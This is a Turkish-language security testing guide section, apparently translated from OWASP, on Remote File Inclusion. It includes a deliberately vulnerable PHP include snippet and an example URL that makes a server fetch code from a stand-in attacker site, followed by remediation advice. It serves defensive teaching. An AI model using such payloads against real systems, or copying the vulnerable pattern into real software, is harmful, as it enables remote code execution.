Testing for Remote File Inclusion (Uzak Dosya Ekleme Testi)

Summary (Özet)

Dosya Kapsayıcılığı güvenlik açığı, bir saldırganın bir dosya içermesine ve genellikle hedef uygulamada uygulanan bir “dinamik dosya dahil etme” mekanizmalarından yararlanmasına izin verir. Güvenlik açığı, uygun doğrulama olmadan kullanıcı tarafından sağlanan girdilerin
kullanılması nedeniyle ortaya çıkar.

Bu, dosyanın içeriğini çıkarmak gibi bir şeye yol açabilir, ancak ciddiyetine bağlı olarak aşağıdakilere de yol açabilir:

- Web sunucusunda kod yürütme
- Şarım gibi istemci tarafında kod uygulaması, çapraz site komut dosyası (XSS) gibi diğer saldırılara yol açabilir
- Hizmetin Reddi (DoS)
- Hassas Bilgi Açıklaması

Uzaktan Dosya Kapsayıcılığı (RFI olarak da bilinir), uygulamada uygulanan savunmasız kapsayıcılık prosedürlerinin istismarı yoluyla uzaktan dosyaların dahil edilmesi sürecidir. Bu güvenlik açığı, örneğin, bir sayfa, giriş olarak, dahil edilmesi gereken dosyaya giden yolu aldığında ve bu girdinin uygun şekilde sterilize edilmemesi ve harici URL'nin enjekte edilmesine izin verdiğinde ortaya çıkar. Çoğu örnek savunmasız PHP komut dosyalarına işaret etse de, JSP, ASP ve diğerleri gibi diğer teknolojilerde de yaygın olduğunu akılda tutmalıyız.

How to Test (Nasıl Test Edilir)

RFI, “içerilmek” için geçen yollar ortaya çıktığında ortaya çıktığından, bir kara kutu test yaklaşımında, dosya adlarını parametre olarak alan komut dosyalarını aramalıyız. Aşağıdaki PHP örneğini göz önünde bulundurun:

```
$incfile = $_REQUEST["file"];
include($incfile.".php");
```

Bu örnekte, yol HTTP isteğinden çıkarılır ve herhangi bir giriş doğrulaması yapılmaz (örneğin, girişin bir izin listesine karşı kontrol edilmesiyle), bu kod snippet bu tür bir saldırıya karşı savunmasız
sonuçlar verir. Aşağıdaki URL'yi göz önünde bulundurun:

`http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page`

Bu durumda, uzaktan dosya dahil edilecek ve içinde bulunan herhangi bir kod sunucu tarafından çalıştırılacaktır.

Remediation (Düzeltme)

Dosya dahil etme güvenlik açıklarını ortadan kaldırmak için en etkili çözüm, kullanıcı tarafından gönderilen girdileri herhangi bir dosya sistemi / çerçeve API'ye geçirmekten kaçınmaktır. Bu mümkün değilse, uygulama dosyanın izinli bir listesini koruyabilir, bu sayfaya dahil edilebilir ve daha sonra seçilen dosyaya erişmek için bir tanımlayıcı (örneğin endeks numarası) kullanabilir. Geçersiz bir tanımlayıcı içeren herhangi bir talep reddedilmelidir, bu şekilde kötü niyetli kullanıcıların yolu manipüle etmeleri için saldırı yüzeyi yoktur.

Referance (Referanslar)

- "Remote File Inclusion"
- Wikipedia: "Remote File Inclusion"